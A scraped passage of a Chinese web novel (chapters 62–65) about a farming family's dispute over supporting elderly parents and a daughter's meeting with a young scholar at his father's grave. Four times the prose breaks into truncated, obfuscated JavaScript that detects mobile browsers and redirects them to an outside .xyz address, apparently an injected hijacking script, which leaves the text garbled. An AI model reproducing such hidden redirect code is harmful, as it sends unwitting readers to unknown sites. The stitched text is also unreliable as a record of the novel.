RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924390|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的话，声音渐低渐弱，复又将脸埋进臂弯里。 “呵，她家的孩子还想去学堂？那咱家的呢，便仅是我用竹枝在泥地上教画几个字？”傅娘子瞥了眼乔冉安那身“软骨头”，失望地偏侧过脸去，而呼吸声已不自觉地带了种凝滞感。 乔冉安皱眉低声道：“你这人怎么还讲不通道理了？咱家都是女孩儿，识那许多字有什么用？” “女孩儿怎么了？不必想着送学堂了，可是说就能省出些钱与你二哥家的孩子用？我还道说农村娃呢，一辈子扒泥啃土，有那当秀才的命么？”傅娘子讽刺道：“披什么格，做什么春秋大梦！” 乔小遇见氛围紧僵，伸手轻揉了揉眉心，接着问道：“那爷爷奶奶是想要怎么赡养呢？轮着到各家里过日子，还是几家人按期送些米面柴油什么的过去？” “呵？你奶奶又不傻，怎愿意轮流在几个儿子家里过？你那几个伯母婶母心里就更不乐意了……自是送东西过去。” 傅娘子瘪了瘪嘴，气瞪了眼乔冉安，方道：“当初由分地的事情扯开去，各家所需尽的赡养之责是说得清清楚楚的，可如今除了猪油，别的都改年为月，且各家数额等量。” “这不是明摆着为难人么？我但提起咱家里的光景，想卖说两句惨话，你爹便连朝我瞪眼，一脸惊异地看着我，好似我说的话有多不地道般，而他才是这个家里做主的，赡养父母的事能由他一口定下。” 乔冉安听及此处，不禁咋舌拧眉，难得辩驳出声：“怎越说越离谱了？我可断断没有自作主张的意思。” “你这时候却是学会说漂亮话了？你哥几个同在场时，我可没见你皱下眉头。可还记得他们是怎么堵我的话的么？” 傅娘子嘴角浮起一股哂笑，指责道：“便拿了咱家赶在村里牛疫确诊前将猪仔全都宰杀了的事堵！你那样的默然，会让他们觉着咱家有所依仗，真能承担起赡养之责……” “确是担得起啊！不过两袋米面的事，各家都出些，两个老人能吃得了多少？”乔冉安抬起眼来，径直出声打断傅娘子的话。 许是不耐的，又或是下意识的，乔冉安的话音竟带了一种“理所应当”的意味——这显然令傅娘子的情绪再度扩化，直至于崩溃的边缘。 肉眼可察的，傅娘子面上神色瞬间被冰凝住，而那些存于她肌理之中的血液的流淌速度似也变得异常缓慢，渐凝顿沉聚下来…… 但见傅娘子的唇色由红转紫，乔冉安也觉着后背冷凉，他试着开口解释，“媳妇儿，我是想着咱家存了这许多粮，便再提说赡养之事咱也不算‘打肿脸充胖子’不是？这是好事啊，你倒反过来与他们哥几家争什么呢？” “天爷！这算劳什子好事？乔冉安，你脑子莫不是被驴给踢了吧？一家每年出两袋米面，总下来就是十袋，两个老人两张嘴，他们能吃得了这么多？你娘道说按月给，且听着是给几个儿女家少添负担，可实际上呢？” 62. 蚂蟥吸血 “你怎么不想想，就现下的情形，小遇她几个叔伯家有谁家是能一口气提出两袋粮食来的？给了老的，小的就没得吃！”傅娘子斥道。 乔冉安的眼底划过一丝焦躁神色，抿唇道：“可别家都没有多说什么，偏你反对！我倒奇怪了，难道是咱家里的难处比别家还多？” “怎么就不比别家多？”傅娘子闻言一脸的不可置信，她腾地从圆凳上坐起来，而话音里则强抑着委屈。 乔冉安极少驳她的话，如今人虽然是惯常的畏畏缩缩，可在一些关乎“面子”的事情上，乔冉安却是越来越长脾气了…… 傅娘子觉着自己仿佛被置扔进了一口深井中，而周身冰凉，令她无从挣扎地继续下坠…… 直待井口的那道圆愈来愈小，小得只能装下那一轮银月，她的口唇肠胃里便会被井水灌满——终究没了呼吸，整湾子里更是没有人会去愿意打捞她浮胀的身体。 傅娘子的心情是极度的沉重与失望…… “是了，小遇她几个叔伯家有难处，甚至比咱家还难……可他们还答允说给两个老人这许多米面柴油，你说是为什么？因为别人都同你一样孝顺？” 傅娘子动了动唇，而嗓子眼处却仿佛被一张手给紧紧掐住了一般，干涩得发疼，然她却尽力挤出一道呵笑声，道：“乔冉安，你的父母兄弟便都同那吸血的蚂蟥一般呢……这匀出去的米粮不都是他们几家分么？你心里明明清楚，却还装傻作甚？” “那我能怎么办？我幼时不也是吸着父母兄弟的血长大的么？”乔冉安听得傅娘子关于“蚂蟥”的形容，脸色竟率先冰沉下来，人也重新做回了一只米汤虫，直往阴湿的缝隙里钻去！ 这是乔小遇第二次见乔冉安哭……而她终究没法以一个旁观者的角度看待此事了。 乔冉安默认赡养之事，与其说是有所依仗，倒不如说是心存愧疚…… 他愧疚于自己幼时体弱，父母因尽心喂养于他而使得他上头的一个姐姐挨饿丧命，愧疚于为他一碗汤药钱，兄长们春雨连绵时仍下地插秧，如今病骨难愈…… 乔冉安至今都还记得自己如小女儿这般大时，三个哥哥因几句无端的口角之争而径将他推入秧田里的事，而他转头便往乔大娘那处告状——三个哥哥为免责罚，统了口径说他撒谎，那个受罚的人便也转成了他。 再之后，这种类似的事发生得愈来愈多，而乔冉安则不仅成了家里的病秧子、拖油瓶，还成了扯谎精…… 渐的，乔大娘对四儿子少了寄望，偏爱转为嫌恶，而“冉安”这名倒像是在时刻提醒这一家子人，当初的付出究竟有多不值得，“安”亦是“祸”…… 左右乔冉安是个不成器的…… 傅娘子这些年没少听得村里人的挖苦，尤其当乔小遇那几个叔伯家对自家多番刁难时，她顾及乔冉安的处境，也尽力忍耐了去。 可有的事是怎么都不能让步的…… 傅娘子自觉这是她当家时所需要谨慎拿捏的分寸点，又或者说——底线。 她可不管乔大娘和几个妯娌在村里宣说什么，忘恩负义也好，铁石心肠也罢，只要乔冉安不在某些关键时刻跳出来踩到她的底线，傅娘子便觉着日子还有仔细经营的必要，而村里人的伪善之言她也不会真往心里去。 但乔冉安此番…… 且瞥得他一个大男人在旁哭哭卿卿的模样，傅娘子心下一阵烦躁，却还是咬牙说道：“总之这件事我是一百个不愿意的！” “你若敢私下里将米粮送往小遇她奶奶家，我便拿了几家当初协定写下的赡养文书去请乔长田做主，把米粮升斗不差地拿回来，就算让整个湾子里的人看笑话我也不在意！” “你这疯婆子，何至于闹到这般份上？”乔冉安紧拍了下大腿，立马站起身来，而指朝傅娘子的手臂却不由得一阵颤抖…… 他的目光里是恳求与愤怒之色交杂，而在触及傅娘子那双腥红的眼后，乔冉安的“气势”便弱了下来。 他无措的手掌往身后伸摸几次，却才碰到椅背——而这情形似乎让乔冉安寻到了一个安定的点，能依放下他沉重的身体。 乔冉安小心翼翼地坐下身来，开始回避傅娘子的视线…… “怎么，哑巴了？”傅娘子的嘴角泛起一丝冷意，眸光则定定地落在乔冉安身上，接着道：“我是能闹到那份上的，乔冉安，你信我。” 乔冉安听得媳妇儿这道沉缓的话音，直觉太阳穴处似被数根细针给刺进了般，教他头疼欲裂，然他连抬手轻揉的力气都没有。 空气便这般僵凝而住。乔冉安心下明白，便算他此时收回那句急骂媳妇儿“疯婆子”的话，傅娘子的态度也不会回转半分…… 乔小遇盯看爹娘半晌，始终未见他们谁先服个软，不禁沉叹了口气，“这事不是没有变通的法子，你们何必彼此为难？” “这些年，咱家做出的让步已经足够多了。” 乔小遇拖过一节矮凳，坐下身来，一边拿火钩轻搜着炉里的灰，一边问乔冉安道：“爹，倘若咱家里没有存下柜里的那些米粮，冬春时节便都指望着地里打出的那点荞麦过日子，您是否还会打算应下爷爷奶奶的要求，去成全自己的一片孝心呢？” 乔冉安动了动唇，凝思片刻后方才摇了摇头，“那便是另外一种情形了，我……” 听乔冉安这样说，傅娘子紧绷的面色终于缓和了几分，而注意力渐才分散，手上拿过一把竹篾轻轻折着，意用来燃火。 乔小遇沉吟道：“咱家自然不能对爷爷奶奶不管不顾，即便是为了免受村里人非议，您想与几个叔伯家均担这赡养之责，我娘也不会与你吵到这份上。” “可问题在于，他们要的太多，还包杂私心……若说的敞亮话，做的敞亮事，我娘怎会不愿意坐下来好好商量，偏还去挡着您呢？” 傅娘子拧了拧眉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924391|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且见女儿直朝自己打眼色，她手头折篾的动作不由得停了下来……她终究轻轻颔首，自以为给了乔冉安一个台阶下，道：“确是这般。” “我寻思着你乔家人的那堆旧账、烂账，不是这么容易就算清的。即便你觉着是你有所亏欠，你要磕着跪着还账——成的，我半句话都不会拦你！可你要拖了我和孩子们同你一起还账，乔冉安，你还是省省吧……” 傅娘子话说分明，将手头那一把竹篾径丢在地，而上身则疲惫地向后沉靠去…… “娘……”乔小遇见她娘将脸偏侧到一旁，似不愿再多说半句话的模样，沉声道：“你们这一辈的账算不清，可咱家里有什么话是不能好好说的呢？” “就是！” 乔冉安在旁闷声补了这么一句，可惹得傅娘子斜睨过眼来，颤声道：“还有什么可说的？你爹心里那槛儿难过……我能怎样，对外当了恶人，回家里还要被他说不是。” “你哪里算什么恶人？回头村里人多是指着我的脊梁骨骂的！”乔冉安听得傅娘子的抱怨，如此应道。 只他无论如何都不愿迎上傅娘子的目光了……乔冉安将两只手轻拢进袖子里交握住，微缩了缩脖子，方才抿唇说道：“若非遇上灾年，小遇她爷爷奶奶也不会出这种主意。” “可是爹，咱家里往年风调佩顺时，开春后也常会断粮，总少不得去别家借些米面，掺了从田野里挖来的野菜拌饭蒸才能勉强糊口，而今年呢？” 乔小遇蹙了蹙眉，只担心爹娘又起争执，忙出言将话题引朝另外一个方向，继续道：“排除家里因进野山林而存下些银钱粮肉的事，咱家里并没有什么变化……” “至少几个叔伯家里是很明白这一点的。可他们既然清楚，又凭什么拿咱家的处境与他们相比，凭什么拿那几头家猪的事来堵我娘的话？这不是为难人是什么？” 这一连串的疑问，终教乔冉安怔眼轻抬，而拢在袖口下的手指却已被他搓得发红…… “更奇怪的是，在当时那样一个情境下，您竟选择默然……”乔小遇轻叹道：“您哪怕说每月所送的米粮能否缩减些，赡养的压力过重，家里怕是负担不起的话也总比这强。” 奇怪？ 傅娘子沉思良久，渐觉着自己原本好像被井水所灌满的身体竟被人拖晾到了河滩上，迅速被晒得肿胀发恶……她忽地从椅子上跳下来，急跺了跺脚，道：“乔冉安，你看你都干得什么事？” “小遇她几个叔伯家即便不清楚咱家里有什么依仗，但见你默然以对，定以为有利可图，这回是怎么都不肯松口了，怕是想着把咱家宰得的几块猪肉全都给分了才好！那咱们遑提什么缩减米粮的话呢？谈都不用谈了……” 乔冉安的神情直转为错愕，他动了动唇，却不知该对傅娘子说什么——反驳是无力的，安慰则是苍白的。 他也不知该如何自处，只敛眉问道：“那该怎么办？” 63. 山果扫墓 “怎么办？”傅娘子冷呵了声，“乔冉安你本事大，就算是主动把腿脚伸出去与那些条蚂蟥吸血，你的眼皮都不会跳一下的，不是么？” 乔冉安被傅娘子说得一阵尴尬…… 他没忍住抽动了几下唇角，以至于颧骨下方的凹处越发明显，而人便往他的侧颊看去，竟仿佛能够想象出一个骷髅头的模样。 “咱们便只能下点狠心了。”乔小遇轻将竹篾放在燃着的干松毛上，接着又往炉子里添了几个松果和干木柴，把茶壶放到炉圈上盖着。 见青烟都从烟囱里吸走，而火洞里的柴灰上则映出了片明亮的火光，乔小遇才轻吐出口气来，暗道是没那必要再用粪箕往火洞里扇风了。 “好在咱家里还有之前留存的赡养文书，所以只要爹娘你们硬着头皮不应，他们也不能拿咱家怎么着……最多不过是在村里嘴碎几句罢了。”乔小遇拿过木板将火洞盖上，轻拍了拍手上的灰尘道。 傅娘子凝眉道：“可要是他们闹到你长田叔那里怎么办？只怕到时候便不是嘴碎几句那么简单了。” “娘，我相信长田叔处事公正。”乔小遇眨了下眼，面颊上轻泛起一抹柔和的笑容来，跟着道：“且咱家与几个叔伯家的矛盾村里人是清楚的，人喜欢凑热闹，却不见得就会颠倒黑白。” “何况咱家与长田叔家的关系……不论村里人之前心生过多少揣测，但多年来相帮相助，谁会认为长田叔会向几个叔伯家说话呢？” 乔小遇说这话时，着意盯看了她娘的神色片刻…… 但见人依旧一副心怀惴惴的模样，乔小遇的心思微微一沉，接着转提道：“便从长田叔自家的情况来说，当初与何家打擂台时，我那几个叔伯家可是与何家人站作一处的。” 傅娘子果然不迭点头，“是啊，我怎么把这茬事给忘了……” 乔小遇淡淡一笑，明澈的视线划至乔冉安身上，缓声说道：“只要爹少些心软，咱们自与几个叔伯家熬着，熬到他们能同咱家说敞亮话，熬到商量时咱家能掌握话语权。” “呃……赡养的米粮确实需要缩减。”乔冉安轻轻颔首道。 乔冉安倒是转了几分心思，言辞间难得有了让步，便当是与傅娘子表明态度了——尽管他始终不敢侧眼去看傅娘子。 “这还差不多……”傅娘子朝乔冉安低嗤了声，黄脸上的皱褶线条终减了几分冷硬感。 乔小遇见得此间情状，却摇头笑道：“这商量的内容，可不仅各家应当承担的赡养之责……” “比如？”乔冉安与傅娘子均朝女儿投来疑惑的目光。 “比如你们一直心心念念的田地，比如咱家或许能与大伯家说通，将那几块高埂地与围墙外的平地换一换？” 她话音清浅，明净的眸底仿佛溪流底部的褐色石板一般，映着粼粼水光与来回游动的鱼影，生动而明媚。 傅娘子轻转了转眼珠，渐觉着眼部的胀痛感竟莫名地减弱了些，犹疑出声：“你大伯家能同意？” “等他家里米粮紧缺，人又巴着上门来与爹称兄道弟时，您再提说换地的事，他或许还觉着自己的面子能挂得住些。” 乔小遇从木桶里连舀了两瓢水倒进茶壶当中，抬眼对傅娘子狡黠一笑，继续说道：“大伯家的地皮原就比别的几个叔伯家多，旱地水田都有，且除了那片连着咱家高埂地头的坡地，别处多是平地……” “反观咱家……” 乔小遇的声音微微一顿，尽量以一种轻淡的语调谈及这个话题，“这本是人亏欠咱们的，如今咱们贴钱贴粮，便仅为了换回一片面积相差不多的土地，大伯他们能有什么好说的？” “那之前被乔大闯家私占下的荒地呢？你们娘俩亦还打算买？”乔冉安且瞧得她母女俩面上所漾着的那抹盈盈笑意，咋舌问道。 “买，自然要买！”傅娘子话音铿然地道。 她的眉色稍稍舒展而开，整个人便仿佛一条重新被放回深河里的野鱼一般，得了呼吸的自由，周身血液开始回暖流动。 “咱们农家人便是靠土地和天公过日子的，怎会嫌地多呢？”傅娘子眯眼轻笑道。 …… 草木的枯色渐又深了一层。 围墙外的低咒声时不时地响起，但傅娘子都忍了不跑出门去与乔小遇她大伯母争吵，只乔冉安与家里的竹扫帚却少不得被傅娘子“摧残”…… 乔冉安经受着媳妇儿的怨怒之言，即便心下有些脾气，却也在看到竹扫帚径被拗断的命运后，转而好声好气地哄着傅娘子——毕竟傅娘子不曾拿他动手撒气，乔冉安觉着自己应当知足了。 便直到乔小遇她大伯家把平地里的玉米掰完，空荡的视野里不过零星竖着几捆玉米草堆后，围墙外的低咒声才算得了消停。 而这期间，乔小遇家里的地窖也跟着修好了。 一家人把楼板上的那几只木柜都给搬抬到了地窖里，又仔细清点米粮、兽肉、皮毛等物后，本应算得说欢喜无限，可傅娘子却心思难安。 这不，傅娘子使乔冉安去镇上托人给袁大娘送猪肠子时，还叮嘱人买两套锁回来用，说是地窖通口处要用上一副…… 而教乔小遇忍俊不禁的是，进地窖的钥匙被傅娘子用麻线给串在了脖子里挂着，日不离身——说来便都是为了防着她爹私下里做出什么糊涂事来。 乔冉安嘴上道说没那个必要，可迎上傅娘子那道似笑非笑的目光，他却忙声住口，不敢再多言了。 山里的果子颜色亦深了一层。 乔小遇得闲时，偶尔会进山去摘果子吃，但背回来多是能晒成干果肉之类的东西，比如柿子。 她也曾在乔荣所指的那片山林里遇到过乔丫丫…… 乔丫丫似乎一点也不奇怪自己会在这处山头遇上她，反而对她扬了扬笑脸，道：“我哥同我打过招呼，可我没想自己来了这么多回，竟是头次碰上你。你是不好意思来摘果子么？” “这倒不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924392|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我家里一直忙着砌围墙的事，且咱们也不是每回都能碰上的。”乔小遇心下有些哭笑不得，暗想乔丫丫开口前，竟不曾把话先在脑子里过一转的，以至于开口引误，让人多心。 她能有什么不好意思的呢？乔小遇没忍住摇头失笑。 且见着乔丫丫身量矮矮的，够不着枝头的果子，连尽力蹦跳也成徒劳的情形，乔小遇终究没能看过眼去，帮她往镰刀上捆了一截长竿…… 听着乔丫丫对自己说的称赞话，乔小遇的面颊上迅速浮起一抹绯红，暗道：“这姑娘也是傻得可爱。” 乔小遇复又多问了乔丫丫几句卖果子的行情，女孩儿顿时便苦巴了脸，然对她却毫无保留地应道。 “竟是这般难……” 乔小遇静静听完，若有所思地凝了凝眉，方才沉吟道：“如今镇上就是碰到赶集的日子，也讨不了什么生意。若你家里有余钱，可以让你娘试着去买些糖来，将这山楂做成冰糖葫芦，去通平县上卖。” “有些果子你可以将它做成果干，许会多些销路。你瞧我，进山来多摘的柿子。” 乔小遇把篮子口朝乔丫丫的方向歪斜了斜，继续说道：“还有些味道好闻的，或是寓意好的果干，你也可以暂存下来，等春日里采些梨花、桃花什么的，掺作水果香包之类。” “这能成么？”乔丫丫皱了皱眉，“我娘说开春后，各家都得勒紧了裤腰带过日子，这还会有人买香包么？” 乔小遇轻笑道：“你娘说得没错，可勒紧裤腰带过日子是穷人，与用香包的富户无甚关联。左右你这果子不能全卖出去，余下的放任它腐坏起霉也属浪费不是？” “你说的似乎也有些道理，要不我回头与我娘说说，看她怎么拿主意？”乔丫丫狐疑着眼，歪头呢喃道。 且见乔丫丫整个人仿佛刚推磨下来，一副还晕乎着头的状态，乔小遇轻笑了笑，“也成的，我便不过提说几句建议。只之后去通平县的路上不见得十分太平，你们要多留些心。” 乔丫丫抿唇一笑，而视线却轻从乔小遇的篮子上划过……紧接着，人径从自个儿的背篓里挑出好些个新鲜果子来，放进乔小遇的篮子里，而乔小遇甚至都来不及拒绝。 乔丫丫且瞥得乔小遇面露恍惚，呵笑着提醒道：“明儿就是重阳了，你就带些柿子去扫墓拜山也不合适吧？你也别跟我客气，我这背篓里还有许多哩……” “这么快就到重阳节了么？”乔小遇干笑了笑，忽觉着乔丫丫龇开的那口牙实在是白得晃眼…… 她无奈扶额，叹声解释道：“丫丫，我家里不论是重阳节，还是除、清、盂等日，都不曾祭祖扫墓的。” “为什么呀？你爹娘嫌麻烦也不至于这么敷衍吧？”乔丫丫疑惑地微睁了眼。 “这……”乔小遇的面色不禁凝滞下来。 倒不是乔丫丫这话难以入耳，只她总不好与乔丫丫说，自家没有扫墓祭祖的原因在于和几个叔伯家存在矛盾罢…… 64. 装神弄鬼 以前，乔冉安夫妻俩便想在中元节烧些纸钱给过世的亲人，乔大娘和乔冉宏他们也会寻摸过来，瞅一眼乔小遇她爹娘到底烧了几堆。若有多出来的，乔大娘竟还取了竹竿将纸钱挑乱，把几个灰圈搞得一片狼藉，而母子俩的口中却还骂骂咧咧…… 好似乔冉安就不是他乔家人一般，而受到牵累的傅娘子只能暗咽苦水，渐“淡”了给她过世的双亲祭拜的心思。 “家家有本难念的经……”乔小遇蹙了蹙眉，只淡声揭过此事，对乔丫丫谢说道：“但还是要谢谢你的果子，我心想及自己确有用得到的地方。” …… 暮日里，密林的颜色似乎并不需要任何的渲染与修饰，便能自然而然地融入这背景当中，而无丝毫的违和感。 陆家坟山里的山草似乎比夏日里时还要长深了些，偶尔山风徐来，枯黄的叶条还随风轻轻抖动……与暴雨倾盆时的场景完全不同，一切都显得那么的安然。 而乔小遇知道，等到了明天重阳节，这陆家坟山里便会热闹异常：锣鼓声、吟唱声与爆竹的响鸣声齐相交杂作一处，即便是远在七八个山头外做活的村民也能够听见。 乔小遇背着篮子，脚下踩着软乎乎的松毛，轻扒开片片草叶，往之前她捡了腊肉饴糖的那座坟墓走去——她之前允过傅娘子的，等到秋日里时需拿了果物去赔过，如今她正巧进山来，便顺道祭拜了，也省得她回家另摘院里的果子。 那座坟墓就在坟山的边缘地带，乔小遇循着记忆很快便摸了过来。她将篮子轻轻靠放在墓碑边的石狮身上，随即拾了几个果子兜在衣摆里，回转过身来…… 而她的脸色却是倏然沉凝。 且见得碑心处所放着的那几盘猪羊肉与新鲜果子，乔小遇的后脊已不由得渗出一层冷汗来。她心头忽然生出一种想要逃离此间的冲动，可双腿却仿佛失了气力般直教她无法站稳…… 衣摆里的果子紧接着掉落在地，钻滚进草丛里，而乔小遇的一颗心也跟着沉了下去。她并不敢动，只眼珠来回转动，试着以余光探下周围的情形。 “诶？” 随着这道惊疑声响起，一只骨节分明的手掌便轻轻拍落在了乔小遇的肩膀上……瞬时间，乔小遇的感官被放大了无数倍，突如其来的惊惧感直迫得她惊呼出声！ 她被吓得坐倒在地，嘴巴微张却什么话都说不出来…… 陆桓显然也没料到乔小遇竟然会有这么大的反应，而那道尖刺的惊叫声到现在都似乎还在他的脑海里回荡…… “是人不是鬼！”陆桓皱了皱眉，但迎上乔小遇那双渐轻泛起了一层水雾的眸子，话音不由得放低柔了些，问道：“你进陆家坟山里来做什么？” “我……”乔小遇动了动唇，可她却实在控制不住喉咙口里的发出的抽气声，半晌也未完整地说明一句话。 陆桓似乎也不急，只缓悠悠地将上身靠在墓碑上，一双黑眸则定定地朝她看来。 “你怎么在陆家坟山里？”乔小遇终于缓过几口气来，而抬眼瞧得陆桓那张清隽的面庞，她的话音便不自觉地带了一丝薄怒意味，“装神弄鬼的，吓死我了你知不知道？” 陆桓轻笑道：“这话应该我问你吧，陆氏坟堂什么时候允了外人进来了？而且方才若是我没有看错的话，你似乎是想拿这果子拜祭这位已经躺在坟墓里的人？” 不容乔小遇分辩，陆桓径俯身从脚边的草窠里捡起一个果子来，对乔小遇轻扬了扬。 “我……”乔小遇咬了咬唇，心头竟第一次觉着她之前从坟堂里取走人的拜祭之物是一件羞|耻之事，面上神色直转为尴尬。 她试探性地问道：“难道这位逝者是你家的亲戚？” “我以为是你家的亲戚。”陆桓淡淡地回了那么一句，缓将手里的果子放到碑台上后，抱手俯视，“说吧，究竟怎么一回事……” 看着陆桓黑沉眸底所浮染上的那抹似笑非笑的意味，乔小遇直觉着自己脑袋都大了——她沉下眉色，一边与陆桓说起先前进陆家坟山里避佩的事情来。 私拿祭品自是重点所在，乔小遇便想着用最少的词句描述，也觉着头皮一阵发紧……直至最后说完，乔小遇可真怀疑自己有没有喘过三口气来，左右都成了破罐子破摔！ 她失了勇气去看陆桓面上的神情，也没再敢同先前一般开口问陆桓什么问题，只整个人的脑袋却是愈沉愈低，似恨不得把脸埋进泥里才好。 陆桓静看着她许久，沉穆的眸底折映着昏黄的余晖，渐添了抹无奈与柔和之色。 “你拿几个果子与腊肉饴糖相抵，合适么？”陆桓摇了摇头，终未忍住轻笑出声。 乔小遇听出陆桓口中并没有责难的意思，诧异抬眼，而陆桓亦在她身前半蹲下来，喃声笑道：“你说怎会就这般凑巧呢……” “确是凑巧……”乔小遇直觉面皮一阵发烫，连呵笑着掩饰而过，跟着涩声解释道：“我以为来拜祭赔过，都是出于自己的一番心意，而不论带的东西是什么。何况我家里的情形，当初可多亏得从你家这位亲戚处拿了那些祭品回去……” “你不用往心里去，左不过都是死物，怎还比活人重要？”陆桓淡笑着打断乔小遇的解释，道：“想及祭拜之礼结束后，主家把祭品分给旁人或是自行分食的情形，你就不会有这种负罪感了。” “可我这般到底是不问自取……”乔小遇轻抿了抿唇道。 陆桓没想乔小遇的脑筋竟拐进了窄胡同里，心想还是他将人给吓到了，摇头叹笑说：“我已经知道了，就不算不问自取。” 他伸手轻抚过乔小遇的头顶，继续说道：“倘若你还想着擅自进山，或是别的什么名目，我都同你说，我不介意……如此，你还有什么觉着尴尬的？嗯？” 乔小遇闻言不由得微怔，而那些紧随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924393|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着便要浮上她心头的疑虑确都被陆桓给打消了去。 陆桓轻笑：“你持了同之前那般‘理所当然’的态度才好，道说‘人都吃不饱了，这祭品放在山中实属浪费’……” 乔小遇暗道确是如此，今日若不是遇上陆桓，她便安安静静地来祭拜过人，回到家后，心湖里怕是半分波澜也无。 她摇了摇头，心下终于释怀。 离得近了，乔小遇便也闻到了陆桓身上那丝淡淡的酒味，若有若无的，仿佛人行于草叶间所沾上的那些露珠般，看不见原本的模样，却终究寻到了痕迹。 “你喝酒了？”乔小遇凝眉疑问道。 陆桓轻“嗯”了声，鼻间气息微沉，接着却挤出一丝笑容，补充道：“就一点点……我不想回家时被母亲察觉，所以没有多喝。” 这话落入乔小遇耳中，她是不见得能全听明白的，但她终究觉察到陆桓情绪的异常。 “你到这坟山里来，也是为了祭拜么？可明天才是重阳节……”乔小遇澄澈的视线轻落在碑心处所放置的那几件祭品上，嗓音里终免不得地带了种局促感。 陆桓轻轻颔首，沉凝道：“便因为明天是重阳节，我才提前来的啊……乔小遇，我要去白麓书院了，我拜了庄先生为师。” 乔小遇闻言微愣了愣，但她却没有什么特别的反应，只静静地看向陆桓……去书院对陆桓究竟意味着什么？乔小遇并不知道，但她想要确定，陆桓心下所存的意愿是什么。 “明日一早就启程。” 乔小遇有些惊讶，“这么赶？” “是呀。”陆桓嘴角挂着一丝淡淡的笑意，然他黑眸里却仿佛划过了一股异样的情绪，以至于整个人便仿佛一只破碎开来的精致瓷器般，带了种割裂的脆弱感。 他顿了顿话音，方才接着说道：“我母亲不让我参加秋祭……在她看来，若非日后高中，我是无颜来见我父亲的。” 乔小遇不自觉地轻吸了口气，嗓音干巴巴地道：“所以那座坟墓里的逝者？” “是我父亲。”陆桓喃声应道。 山风刮过，草叶摩挲着发出“沙沙”声响，显得悠畅舒缓——如果忽略此间是坟场的话，而乔小遇的心头亦是沉甸甸的。 她呼吸微凝，且迎上陆桓那双泛着淡淡笑意的眸子，不自觉地瑟缩了下头，“可真是凑巧……” 陆桓低眉轻笑了声，旋站起身来，踱步走至墓碑前站定。他的袖袍随风而扬，然身形沉穆，一时教乔小遇有些无所适从……而今乔小遇在瞥得碑心上所刻有的陆桓之名后，已不由得蹙了蹙眉。 “永安十五年六月二十一日卒……也就是说，我与陆桓在野山林中相遇时，他父亲刚刚过世不久，便如此，盛家独女也是在那个当口下出适的。” 复从头看过碑文，乔小遇的视线轻掠过陆桓那紧凝的眉色，接着往之后所载的生平记事细看去…… 65. 故人往事 令人惊讶的是，陆桓父亲曾官居翰林学士，后左迁朝州府知府领治水之事，而民始安…… 但与这些占据了碑文大片内容的显著政|绩相比，陆彰遭遇左迁的缘由不明，故去的情形亦寥寥数语，似是突发恶疾。 关节细致处实谓晦涩，可乔小遇能感受到这些锋利的线条下所掩藏的刻碑人的心境，如笔下刻意的留白，所避开的正是想要突出的…… 不过乔小遇所了解的便仅这些了，在留意过那些重要的时间节点后，她陷入了长久的沉默，暗喃：“永安九年、永安十五年……” 陆桓从坟墓侧边的草窠里拿出一个酒瓶来，成线地倒过酒水，余光瞥得乔小遇的神情，生出疑问道：“你识得字？” “识得些，只是不多。”乔小遇怔懵颔首。 陆桓定定地看了一眼乔小遇那近乎透明的侧颊，而眉毛皱弯着，仿佛灌丛窠里凸出了些刺条来，却是最先缓释过话题，轻笑道：“我父亲光华半生，我是不见得有那样的能力达到他的高度的，而我母亲……” 他缓缓地摇了摇头，一边将酒瓶口塞住，一边说道：“我多觉着自己会令她失望。” “我似乎不知道该怎么安慰你，而你似乎也并不需要我的安慰。”乔小遇偏头看向陆桓，凝色道：“你既拜庄先生为师，入白麓书院习书，便是存意参加科举入仕的。我只是不明白，你现下究竟在犹豫什么……” “因为时机还没有成熟，而我母亲太着急。”陆桓心下如此暗应，而迎上乔小遇那双不欲探究的清澈眸子，他直觉着那些沉坠在心湖上方的重物似被什么东西给依撑出了一段距离。 不必多作解释——有些层面的东西是如今的乔小遇所接触不到的，是倾诉也无法分承的。如陆父因牵涉党争而横遭贬谪，如他不是荣归故里，至朝州府后处处受人掣肘，又如听闻先太子薨逝的噩耗后，陆父亦紧随而去…… 陆父仅过世几月，但那些往事与故人却被人刻意性地遗忘，如同坟墓垒土时尽选了些野草坨子，等祭拜时便已草长深深，完全看不出新坟模样。 